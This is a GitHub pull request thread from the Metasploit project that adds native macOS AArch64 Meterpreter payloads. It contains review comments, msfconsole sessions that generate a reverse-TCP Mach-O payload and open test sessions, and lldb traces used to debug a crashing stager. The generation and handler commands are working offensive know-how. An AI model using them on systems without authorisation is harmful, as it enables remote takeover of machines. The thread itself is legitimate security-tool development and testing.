-
Notifications
You must be signed in to change notification settings - Fork 13.9k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
M1ssion Dyld Mettle: Aarch64 Payloads #17129
Conversation
Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools. We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:
You can automate most of these changes with the
Please update your branch after these have been made, and reach out if you have any problems. |
Presumably this needs a corresponding pull request to mettle to support building aarch64? Nice work btw! |
#17050 has been landed, so you should be able to rebase and pull in those changes. This is really great, thanks for adding this! |
bd04e44
to
a4487c7
Compare
rapid7/mettle#237 should contain the required mettle artifacts to move this forward. Using metasploit_payloads-mettle v1.0.23. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
A couple of small suggestions and noted an issue with the stageless payload.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Just one comment on the new code signature additions. Here's the output from testing the updates:
msf6 payload(osx/aarch64/meterpreter/reverse_tcp) >
[*] Transmitting first stager...(328 bytes)
[*] Transmitting second stager...(49152 bytes)
[*] Sending stage (812819 bytes) to 192.168.157.1
[-] Meterpreter session 3 is not valid and will be closed
[*] 192.168.157.1 - Meterpreter session 3 closed.
msf6 payload(osx/aarch64/meterpreter/reverse_tcp) > use payload/osx/aarch64/meterpreter_reverse_tcp
msf6 payload(osx/aarch64/meterpreter_reverse_tcp) > generate -f macho -o /Users/sherbs/Desktop/payload_stageless LHOST=192.168.157.1
[*] Writing 812819 bytes to /Users/sherbs/Desktop/payload_stageless...
msf6 payload(osx/aarch64/meterpreter_reverse_tcp) > jobs -K
Stopping all jobs...
msf6 payload(osx/aarch64/meterpreter_reverse_tcp) > to_handler
[*] Payload Handler Started as Job 1
[*] Started reverse TCP handler on [192.168.157.1:4444](http://192.168.157.1:4444/)
msf6 payload(osx/aarch64/meterpreter_reverse_tcp) > [*] 192.168.157.1 - Meterpreter session 4 closed. Reason: Died
[*] Meterpreter session 5 opened ([192.168.157.1:4444](http://192.168.157.1:4444/) -> [192.168.157.1:61786](http://192.168.157.1:61786/)) at 2023-03-06 16:52:51 -0600
msf6 payload(osx/aarch64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 5...
meterpreter > getuid
Server username: sherbs
meterpreter > sysinfo
Computer : nostromo.local
OS : macOS Ventura (macOS 13.2.0)
Architecture : arm64
BuildTuple : aarch64-apple-darwin
Meterpreter : aarch64/osx
meterpreter >
The first two attempt is with the staged payload, which appears to send the midstager and stage across, but will report back as closed before establishing a session. The stageless payload achieved a session, which is the last attempt in the output.
msftidy is outputting that modules/payloads/singles/osx/aarch64/meterpreter_reverse_tcp.rb
, modules/payloads/singles/osx/aarch64/meterpreter_reverse_https.rb
, and modules/payloads/singles/osx/aarch64/meterpreter_reverse_http.rb
have formatting errors in them. You can run rubocop -a
on those files to fix the issues, and that should get the linter tests to pass.
@space-r7 Is the staged payload crashing every time on your machine? It's crashing about 1/5 times on mine. I am working on a fix, but it's not pretty. :-P |
Yea, it's happened for me every time so far |
@space-r7 Does the most recent commit fix your issue? If not, would you please send me a crash report from Console.app? |
Sorry, I should have worded myself better. It's not that the process is actually crashing for the staged payload, just that once the |
Alright, is there any output on the cli running the staged payload like |
Sorry for the delay! Here's my output from executing a staged payload:
It appears to hang at the |
Thanks @space-r7! I've found that the symbol mangling has changed in Ventura. I'm working on a fix. |
@space-r7 I've just got it working on Ventura 13.3 Beta, going to clean up the code a bit and push my changes. |
Thanks! The payload managed to get much further this time; however, I'm now getting a bus error:
|
Hi @space-r7, you wouldn't happen to have a crash log in Console.app? |
Yep, here's the message:
And the full crash report:
|
Thanks! It looks like calling |
Looks like this needs a rebase and rubocop run on the files 👍 |
@adfoster-r7 Sonoma previewed recently, so I'm going to be working on it. |
54cb5dd
to
b8068bc
Compare
Use msftidy to fix the rubocop errors.
3845203
to
ca7aa59
Compare
ca7aa59
to
1c5b88c
Compare
@space-r7 Please approve and merge |
To the tester:
|
|
||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This updates the aarch64 payloads to include comments with the corresponding instructions for each little-endian integer. It also fixes the debug output for x64 payloads under rosetta.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🟢 Stageless osx/aarch64/meterpreter_reverse_tcp
works:
msf6 payload(osx/aarch64/meterpreter_reverse_tcp) >
[*] Transmitting first stager...(328 bytes)
[*] Transmitting second stager...(65536 bytes)
[*] Sending stage (812819 bytes) to 127.0.0.1
[*] Meterpreter session 8 opened (127.0.0.1:4444 -> 127.0.0.1:49167) at 2023-07-31 16:19:23 -0500
msf6 payload(osx/aarch64/meterpreter_reverse_tcp) > sessions -i -1 -C getuid
[*] Running 'getuid' on meterpreter session 8 (127.0.0.1)
Server username: jenkins
🔴 Hitting issues with the osx/aarch64/meterpreter/reverse_tcp
payload
msf6 payload(osx/aarch64/meterpreter_reverse_tcp) > setg sessiontlvlogging true
sessiontlvlogging => true
msf6 payload(osx/aarch64/meterpreter/reverse_tcp) >
[*] Transmitting first stager...(328 bytes)
[*] Transmitting second stager...(49152 bytes)
[*] Sending stage (812819 bytes) to 127.0.0.1
SEND: #<Rex::Post::Meterpreter::Packet type=Request tlvs=[
#<Rex::Post::Meterpreter::Tlv type=COMMAND_ID meta=INT value=16 command=core_negotiate_tlv_encryption>
#<Rex::Post::Meterpreter::Tlv type=REQUEST_ID meta=STRING value="15140495648546938480501506891891">
#<Rex::Post::Meterpreter::Tlv type=RSA_PUB_KEY meta=RAW value="0\x82\x01\"0\r\x06\t*\x86H\x86\xF7\r\x01\x01\x01\ ...">
]>
msf6 payload(osx/aarch64/meterpreter/reverse_tcp) >
[-] Meterpreter session 4 is not valid and will be closed
[*] 127.0.0.1 - Meterpreter session 4 closed.
Stager output:
% ./shell
zsh: segmentation fault ./shell
Steps leading up to the failure
(lldb)
Process 1895 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over
frame #0: 0x000000010020c0ec
-> 0x10020c0ec: add x0, x0, #0x20, lsl #12 ; =0x20000
0x10020c0f0: mov sp, x0
0x10020c0f4: mov x0, x13
0x10020c0f8: blr x15
Target 0: (shell) stopped.
(lldb)
Process 1895 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over
frame #0: 0x000000010020c0f0
-> 0x10020c0f0: mov sp, x0
0x10020c0f4: mov x0, x13
0x10020c0f8: blr x15
0x10020c0fc: mov x0, #0x0
Target 0: (shell) stopped.
(lldb)
Process 1895 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over
frame #0: 0x000000010020c0f4
-> 0x10020c0f4: mov x0, x13
0x10020c0f8: blr x15
0x10020c0fc: mov x0, #0x0
0x10020c100: ldr x16, #0x40
Target 0: (shell) stopped.
(lldb)
Process 1895 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over
frame #0: 0x000000010020c0f8
-> 0x10020c0f8: blr x15
0x10020c0fc: mov x0, #0x0
0x10020c100: ldr x16, #0x40
0x10020c104: svc #0
Target 0: (shell) stopped.
(lldb) reg read
General Purpose Registers:
x0 = 0x0000000000000003
x1 = 0x0000000000000000
x2 = 0x0000000000000003
x3 = 0x0000000000001002
x4 = 0x0000000000000000
x5 = 0x0000000000000000
x6 = 0x0000000000000000
x7 = 0x0000000000000000
x8 = 0x0000000100208000
x9 = 0x0000000000000002
x10 = 0x00000000000c6713
x11 = 0x0000000100220000
x12 = 0x0000000100220000
x13 = 0x0000000000000003
x14 = 0x0000000000001f40
x15 = 0x0000000100211dd4
x16 = 0x00000000020000c5
x17 = 0x00000001fbc91e40 (void *)0x00000001a1b8b0d0: _platform_memmove
x18 = 0x0000000000000000
x19 = 0x00000001000c4060
x20 = 0x0000000100003ef8 shell`main
x21 = 0x0000000100070070 dyld`dyld4::sConfigBuffer
x22 = 0x0000000000000000
x23 = 0x0000000000000000
x24 = 0x0000000000000000
x25 = 0x0000000000000000
x26 = 0x0000000000000000
x27 = 0x0000000000000000
x28 = 0x0000000000000000
fp = 0x000000016fdff1b0
lr = 0x0000000100003f7c shell`main + 132
sp = 0x0000000100420000
pc = 0x000000010020c0f8
cpsr = 0x00001000
(lldb) step
Process 1895 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step into
frame #0: 0x0000000100211dd4
-> 0x100211dd4: ldr x2, [x9, #0x280]
0x100211dd8: add x3, sp, #0x1c8
0x100211ddc: mov w9, #0x1
0x100211de0: and w4, w9, #0x1
Target 0: (shell) stopped.
(lldb) next
Process 1895 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x282)
frame #0: 0x0000000100211dd4
-> 0x100211dd4: ldr x2, [x9, #0x280]
0x100211dd8: add x3, sp, #0x1c8
0x100211ddc: mov w9, #0x1
0x100211de0: and w4, w9, #0x1
Target 0: (shell) stopped.
I believe it's dying on the call to osx main in x15; I'm testing on an M1 machine running in UTM with Montery 12.6. Unfortunately I'm running with a slightly janky setup currently which makes it awkward to debug further - if there's not enough details to fix the crash - I'll try to get access to a different setup/get more details 👍
Yes, the crash was due to the recvfrom syscall reading too many bytes (0x1000). I'll go back to the exact 328 stager size. |
This fixes an issue with the stager size in the osx aarch64 payloads. It also adds the source and Makefile for template_aarch64_darwin.bin
@usiegl00 Thanks! I've ran this through on 11.7.8 on AWS, and 12.6 on M1 in UTM. I've sent a PR for updating the Makefile for the template setup and compiling the binaries. I'll do a final pass on 13.x tomorrow |
…and-compile-binaries Update osx templates makefile and compile binaries
Finished testing with Ventura 13.4.1 on AWS now too, all looks good to me! 🥳 |
Release NotesAdds new support for multiple OSX AArch64 payloads: |
Thanks for the awesome work @usiegl00 🎉 |
This builds on Back from the dyld by adding the required aarch64 assembly code to enable the OSX loader to run on the m1. This enables the use of native payloads on M1 or M2 devices that do not have Rosetta installed.
Verification steps
See #17050
Compile steps:
Modules to test, ensure that you can run
chmod +x ./shell; ./shell
in a separate tab and that a new session opens, as well as the test suite passing: